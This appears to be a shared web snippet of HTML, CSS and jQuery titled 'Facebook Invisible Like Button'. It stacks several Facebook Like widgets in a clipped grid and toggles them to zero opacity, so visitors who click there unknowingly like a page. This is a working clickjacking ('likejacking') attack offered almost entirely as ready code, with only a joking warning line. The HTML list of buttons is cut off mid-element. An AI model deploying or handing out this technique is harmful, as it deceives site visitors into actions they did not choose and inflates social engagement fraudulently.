Facebook Invisible Like Button

HTML

<link rel="stylesheet" href="http://necolas.github.com/normalize.css/2.1.3/normalize.css">
<div id="fb-root"></div>
<script>
    (function(d, s, id) {
        var js, fjs = d.getElementsByTagName(s)[0];
        if (d.getElementById(id)) return;
        js = d.createElement(s);
        js.id = id;
        js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=332283946809099";
        fjs.parentNode.insertBefore(js, fjs);
    }(document, 'script', 'facebook-jssdk'));
</script>
<h3>Caution! <small>Using this method to gain likes, you automatically became an asshole.</small></h3>
<!-- Here comes the mad shit -->
<div id="invisible-like">
    <div><div><div class="fb-like" data-href="http://example.com" data-width="80" data-height="24" data-colorscheme="light" data-layout="button_count" data-action="like" data-show-faces="false" data-send="false"></div></div></div>
    <div><div><div class="fb-like" data-href="http://example.com" data-width="80" data-height="24" data-colorscheme="light" data-layout="button_count" data-action="like" data-show-faces="false" data-send="false"></div></div></div>
    <div><div><div class="fb-like" data-href="http://example.com" data-width="80" data-height="24" data-colorscheme="light" data-layout="button_count" data-action="like" data-show-faces="false" data-send="false"></div></div></div>
    <div><div><div class="fb-like" data-href="http://example.com" data-width="80" data-height="24" data-colorscheme="light" data-layout="button_count" data-action="like" data-show-faces="false" data-send="false"></div></div></div>
    <div><div><div class="fb-like" data-href="http://example.com" data-width="80" data-height="24" data-colorscheme="light" data-layout="button_count" data-action="like" data-show-faces="false" data-send="false"></div></div></div>
    <div><div><div class="fb-like" data-href="http://example.com" data-width="80" data-height="24" data-colorscheme="light" data-layout="button_count" data-action="like" data-show-faces="false"...

CSS

h3 {
    color: #f00;
}
h3 small {
    color: #666;
}

#invisible-like {
    border: 1px solid red;
    overflow: hidden;
    width: 200px;
    height: 100px;
    cursor: default;
}
#invisible-like > * {
    opacity: 1;
    position: relative;
    width: 22px;
    height: 18px;
    overflow: hidden;
    float: left;
    background-color: green;
}
#invisible-like > * > * {
    position: absolute;
    top: -1px;
    left: -20px;
}
#invisible-like * {
    cursor: default;
}

JavaScript

$("button").toggle(
    function() {
        $("#invisible-like > *").css({opacity: 1});
    },
    function() {
        $("#invisible-like > *").css({opacity: 0});
    }
);